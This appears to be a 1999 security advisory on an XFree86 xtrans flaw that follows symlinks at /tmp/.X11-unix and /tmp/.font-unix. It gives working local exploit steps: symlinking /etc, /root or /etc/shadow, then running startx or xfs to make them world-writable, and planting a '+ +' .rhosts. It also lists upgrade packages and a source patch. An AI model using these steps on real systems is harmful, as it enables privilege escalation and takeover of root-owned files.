COMMAND
X11R6 (xf86-3.3.3-5)
SYSTEMS AFFECTED
NetBSD 1.3.3, Linux
PROBLEM
'in.telnetd' posted following. Let's rm /tmp/.X11-unix and then
make a symbolic link from a file to /tmp/.X11-unix and then
startx. You better backed up your /etc/passwd and then do:
ln -s /etc/passwd /tmp/.X11-unix
Then startx'd as normal user acount, and you'll see X wouldn't
start as will complaine and say "is not a directory". So, make
a symbolic link from /root to /tmp/.X11-unix, and startx as a
normal user, and you'll be suprised to have write access to /root.
You'll be able to write new files to /root but not to overright or
change files. Also, you can make a "+ +" .rhosts. You can do that
to /etc also, changed it from:
drwxr-xr-x
To:
drwxrwxrwt
with:
telnetd ~$ ln -s /etc /tmp/.X11-unix
telnetd ~$ startx
This was tested via a remote telnet sesion also, It works if you
are able to startx and X isn't already running, tester swung his
chair around and got on his gateway, telneted to stinky, logged in
as a normal user, ln -s /etc /tmp/.X11-unix, startx'd remotly, saw
the X startup crap, looked behind and saw X starting on stinky,
turned to his gateway and stoped X, and had write access to /etc.
The only real thing I can think of for this to be usefull is
.rhosts in /root... This was on NetBSD 1.3.3, fresh install.
Same was tested under 2.2.4 linux using XFree86 Version 3.3.2.
You won't get write access to /etc, still you'll able to create
file
srwxrwxrwx 1 root root 0 Mar 26 13:48 X0=
in previously unwritable directory. Bug, as it seems. Another
report confirms X11 v3.3.3 to be vulnerable too (links to
directories and files):
bebras@petras:/tmp> ln -s /etc/group /tmp/.X11-unix
bebras@petras:/tmp> ls -l /etc/group
-rw-r--r-- 1 root root 336 Mar 6 13:56 /etc/group
bebras@petras:/tmp> startx
_X11TransSocketUNIXConnect: Can't connect: errno = 111
giving up.
xinit: Connection refused (errno 111): unable to connect to X server
xinit: No such process (errno 3): Server error.
bebras@petras:/tmp> ls -l /etc/group
-rwxrwxrwt 1 root root 336 Mar 6 13:56 /etc/group*
Lukasz Trabinski found bug in xfs which is product of same thing
as above (tested on Packet XFree86-xfs-3.3.3.1-1 in RedHat 5.1).
Xfs is a font server for XFree86, it's also create directory in
/tmp. That directory name .font-unix. Let's make a little check.
On first console log as a normal user:
[lukasz@lt /tmp]$ cat /etc/shadow
cat: /etc/shadow: Permission denied
[lukasz@lt /tmp]$ ls -all /etc/shadow
-r-------- 1 root root 544 Mar 30 00:04 /etc/shadow
[lukasz@lt /tmp]$ ll
total 2
drwxrwxrwt 2 root root 1024 Mar 30 00:05 .
drwxr-xr-x 18 root root 1024 Mar 23 00:10 ..
lrwxrwxrwx 1 lukasz users 11 Mar 30 00:05 .font-unix ->
/etc/shadow
On second console, as root:
[root@lt /root]# xfs &
[1] 2021
[root@lt /root]# _FontTransSocketCreateListener: failed to bind listener
_FontTransSocketUNIXCreateListener: ...SocketCreateListener() failed
_FontTransMakeAllCOTSServerListeners: failed to create listener for local
On first console:
[lukasz@lt /tmp]$ ls -all /etc/shadow
-rwxrwxrwt 1 root root 544 Mar 30 00:04 /etc/shadow
This is caused by the same bug in xc/lib/xtrans.
SOLUTION
Well, when theres a reboot, /tmp/ is cleared. And If you haven't
started X yet, it could be a problem. This isn't and ultra spiffy
important problem for smart admins. Anyway, for a proper solution
upgrade your XF86. As a temporary fix you can put these commands
into /sbin/init.d/boot.local (tested under SuSE):
/bin/rm -rf /tmp/.X11-unix
mkdir -p -m 1777 /tmp/.X11-unix
Here are upgrade packages (glibc archives SuSE 6.0):
x8514-3.3.3.1-13.i386.rpm
xagx-3.3.3.1-13.i386.rpm
xfbdev-3.3.3.1-13.i386.rpm
xglint-3.3.3.1-13.i386.rpm
xi128-3.3.3.1-13.i386.rpm
xlkit-3.3.3.1-13.i386.rpm
xmach32-3.3.3.1-13.i386.rpm
xmach64-3.3.3.1-13.i386.rpm
xmach8-3.3.3.1-13.i386.rpm
xmono-3.3.3.1-13.i386.rpm
xp9k-3.3.3.1-13.i386.rpm
xs3-3.3.3.1-13.i386.rpm
xs3v-3.3.3.1-13.i386.rpm
xsvga-3.3.3.1-13.i386.rpm
xvga16-3.3.3.1-13.i386.rpm
xw32-3.3.3.1-13.i386.rpm
xxprt-3.3.3.1-13.i386.rpm
Here are upgrade packages (libc5 archives SuSE <= 5.3):
x8514-3.3.3.1-13.i386.rpm
xagx-3.3.3.1-13.i386.rpm
xdevel-3.3.3.1-13.i386.rpm
xdoc-3.3.3.1-13.i386.rpm
xextra-3.3.3.1-13.i386.rpm
xf86-3.3.3.1-13.i386.rpm
xfbdev-3.3.3.1-13.i386.rpm
xfnt100-3.3.3.1-13.i386.rpm
xfntbig-3.3.3.1-13.i386.rpm
xfntcyr-3.3.3.1-13.i386.rpm
xfntscl-3.3.3.1-13.i386.rpm
xfsetup-3.3.3.1-13.i386.rpm
xglint-3.3.3.1-13.i386.rpm
xi128-3.3.3.1-13.i386.rpm
xlkit-3.3.3.1-13.i386.rpm
xmach32-3.3.3.1-13.i386.rpm
xmach64-3.3.3.1-13.i386.rpm
xmach8-3.3.3.1-13.i386.rpm
xman-3.3.3.1-13.i386.rpm
xmono-3.3.3.1-13.i386.rpm
xp9k-3.3.3.1-13.i386.rpm
xs3-3.3.3.1-13.i386.rpm
xs3v-3.3.3.1-13.i386.rpm
xshared-3.3.3.1-13.i386.rpm
xsvga-3.3.3.1-13.i386.rpm
xvga16-3.3.3.1-13.i386.rpm
xw32-3.3.3.1-13.i386.rpm
xxprt-3.3.3.1-13.i386.rpm
Red Hat Linux 5.x:
------------------
In some circumstances, you may be required to add --force and/or
--nodeps to the rpm command line options to insure a proper
upgrade. Add these options if the command line given gives an
error.
Intel:
rpm -Uvh ftp://updates.redhat.com/5.2/i386/XFree86-libs-3.3.3.1-1.1.i386.rpm
rpm -Uvh ftp://updates.redhat.com/5.2/i386/XFree86-3.3.3.1-1.1.i386.rpm
Alpha:
rpm -Uvh ftp://updates.redhat.com/5.2/alpha/XFree86-libs-3.3.3.1-1.1.alpha.rpm
rpm -Uvh ftp://updates.redhat.com/5.2/alpha/XFree86-3.3.3.1-1.1.alpha.rpm
SPARC:
rpm -Uvh ftp://updates.redhat.com/5.2/sparc/XFree86-libs-3.3.3.1-1.1.sparc.rpm
rpm -Uvh ftp://updates.redhat.com/5.2/sparc/XFree86-3.3.3.1-1.1.sparc.rpm
Red Hat Linux 4.2:
------------------
In some circumstances, you may be required to add --force and/or
--nodeps to the rpm command line options to insure a proper
upgrade. Add these options if the command line given gives an
error.
Intel:
rpm -Uvh ftp://updates.redhat.com/4.2/i386/rpm-2.5.3-4.2.i386.rpm
rpm -Uvh ftp://updates.redhat.com/4.2/i386/Xconfigurator-2.6.1-1.i386.rpm
rpm -Uvh ftp://updates.redhat.com/4.2/i386/XFree86-libs-3.3.3.1-0.1.i386.rpm
rpm -Uvh ftp://updates.redhat.com/4.2/i386/XFree86-3.3.3.1-0.1.i386.rpm
Alpha:
------
rpm -Uvh ftp://updates.redhat.com/4.2/alpha/rpm-2.5.3-4.2.alpha.rpm
rpm -Uvh ftp://updates.redhat.com/4.2/alpha/Xconfigurator-2.6.1-1.alpha.rpm
rpm -Uvh ftp://updates.redhat.com/4.2/alpha/XFree86-libs-3.3.3.1-0.1.alpha.rpm
rpm -Uvh ftp://updates.redhat.com/4.2/alpha/XFree86-3.3.3.1-0.1.alpha.rpm
SPARC:
------
rpm -Uvh ftp://updates.redhat.com/4.2/sparc/rpm-2.5.3-4.2.sparc.rpm
rpm -Uvh ftp://updates.redhat.com/4.2/sparc/XFree86-libs-3.3.3.1-0.1.sparc.rpm
rpm -Uvh ftp://updates.redhat.com/4.2/sparc/XFree86-3.3.3.1-0.1.sparc.rpm
The following patch should fix this:
Index: xc/lib/xtrans/Xtransint.h
===================================================================
RCS file: /cvs/X11/xc/lib/xtrans/Xtransint.h,v
retrieving revision 1.1.1.2
diff -u -r1.1.1.2 Xtransint.h
--- xc/lib/xtrans/Xtransint.h 1998/11/28 08:26:08 1.1.1.2
+++ xc/lib/xtrans/Xtransint.h 1999/03/26 08:20:27
@@ -455,6 +455,12 @@
#endif
);
+static int trans_mkdir (
+#if NeedFunctionPrototypes
+ char *, /* path */
+ int /* mode */
+#endif
+);
/*
* Some XTRANSDEBUG stuff
Index: xc/lib/xtrans/Xtranslcl.c
===================================================================
RCS file: /cvs/X11/xc/lib/xtrans/Xtranslcl.c,v
retrieving revision 1.1.1.4
diff -u -r1.1.1.4 Xtranslcl.c
--- xc/lib/xtrans/Xtranslcl.c 1999/01/08 17:31:44 1.1.1.4
+++ xc/lib/xtrans/Xtranslcl.c 1999/03/26 08:20:32
@@ -444,9 +444,11 @@
#else
mode = 0777;
#endif
-
- mkdir(X_STREAMS_DIR, mode);
- chmod(X_STREAMS_DIR, mode);
+ if (trans_mkdir(X_STREAMS_DIR, mode) == -1) {
+ PRMSG (1, "PTSOpenServer: mkdir(%s) failed, errno = %d\n",
+ X_STREAMS_DIR, errno, 0);
+ return(-1);
+ }
if( (fd=open(server_path, O_RDWR)) >= 0 ) {
#if 0
@@ -724,9 +726,11 @@
#else
mode = 0777;
#endif
-
- mkdir(X_STREAMS_DIR, mode);
- chmod(X_STREAMS_DIR, mode);
+ if (trans_mkdir(X_STREAMS_DIR, mode) == -1) {
+ PRMSG (1, "NAMEDOpenServer: mkdir(%s) failed, errno = %d\n",
+ X_STREAMS_DIR, errno, 0);
+ return(-1);
+ }
if(stat(server_path, &sbuf) != 0) {
if (errno == ENOENT) {
@@ -1044,10 +1048,18 @@
mode = 0777;
#endif
- mkdir(X_STREAMS_DIR, mode); /* "/dev/X" */
- chmod(X_STREAMS_DIR, mode);
- mkdir(X_ISC_DIR, mode); /* "/dev/X/ISCCONN" */
- chmod(X_ISC_DIR, mode);
+ /* "/dev/X" */
+ if (trans_mkdir(X_STREAMS_DIR, mode) == -1) {
+ PRMSG (1, "ISCOpenServer: mkdir(%s) failed, errno = %d\n",
+ X_STREAMS_DIR, errno, 0);
+ return(-1);
+ }
+ /* "/dev/X/ISCCONN" */
+ if (trans_mkdir(X_ISC_DIR, mode) == -1) {
+ PRMSG (1, "ISCOpenServer: mkdir(%s) failed, errno = %d\n",
+ X_ISC_DIR, errno, 0);
+ return(-1);
+ }
unlink(server_path);
@@ -1072,8 +1084,11 @@
*/
#define X_UNIX_DIR "/tmp/.X11-unix"
- mkdir(X_UNIX_DIR, mode);
- chmod(X_UNIX_DIR, mode);
+ if (trans_mkdir(X_UNIX_DIR, mode) == -1) {
+ PRMSG (1, "ISCOpenServer: mkdir(%s) failed, errno = %d\n",
+ X_UNIX_DIR, errno, 0);
+ return(-1);
+ }
unlink(server_unix_path);
Index: xc/lib/xtrans/Xtranssock.c
===================================================================
RCS file: /cvs/X11/xc/lib/xtrans/Xtranssock.c,v
retrieving revision 1.1.1.4
diff -u -r1.1.1.4 Xtranssock.c
--- xc/lib/xtrans/Xtranssock.c 1999/01/08 17:31:46 1.1.1.4
+++ xc/lib/xtrans/Xtranssock.c 1999/03/26 08:20:38
@@ -946,8 +946,11 @@
#else
mode = 0777;
#endif
- mkdir (UNIX_DIR, mode);
- chmod (UNIX_DIR, mode);
+ if (trans_mkdir(UNIX_DIR, mode) == -1) {
+ PRMSG (1, "SocketUNIXCreateListener: mkdir(%s) failed, errno = %d\n",
+ UNIX_DIR, errno, 0);
+ return TRANS_CREATE_LISTENER_FAILED;
+ }
#endif
sockname.sun_family = AF_UNIX;
@@ -1041,8 +1044,11 @@
#else
mode = 0777;
#endif
- mkdir (UNIX_DIR, mode);
- chmod (UNIX_DIR, mode);
+ if (trans_mkdir(UNIX_DIR, mode) == -1) {
+ PRMSG (1, "SocketUNIXResetListener: mkdir(%s) failed, errno = %d\n",
+ UNIX_DIR, errno, 0);
+ return TRANS_RESET_FAILURE;
+ }
#endif
close (ciptr->fd);
Index: xc/lib/xtrans/Xtransutil.c
===================================================================
RCS file: /cvs/X11/xc/lib/xtrans/Xtransutil.c,v
retrieving revision 1.1.1.1
diff -u -r1.1.1.1 Xtransutil.c
--- xc/lib/xtrans/Xtransutil.c 1997/09/05 09:02:43 1.1.1.1
+++ xc/lib/xtrans/Xtransutil.c 1999/03/26 08:20:40
@@ -465,3 +465,32 @@
return (1);
}
+
+#include <sys/types.h>
+#include <sys/stat.h>
+#include <errno.h>
+
+static int
+trans_mkdir(char *path, int mode)
+{
+ struct stat buf;
+
+ if (mkdir(path, mode) == 0) {
+ /* I don't know why this is done, but it was in the original
+ xtrans code */
+ chmod(path, mode);
+ return 0;
+ }
+ /* If mkdir failed with EEXIST, test if it is a directory with
+ the right modes, else fail */
+ if (errno == EEXIST) {
+ if (lstat(path, &buf) != 0) {
+ return -1;
+ }
+ if (S_ISDIR(buf.st_mode) && ((buf.st_mode & ~S_IFMT) == mode)) {
+ return 0;
+ }
+ }
+ /* In all other cases, fail */
+ return -1;
+}
Debian/GNU Linux Potato is not vulnerable to xfs vulnerability.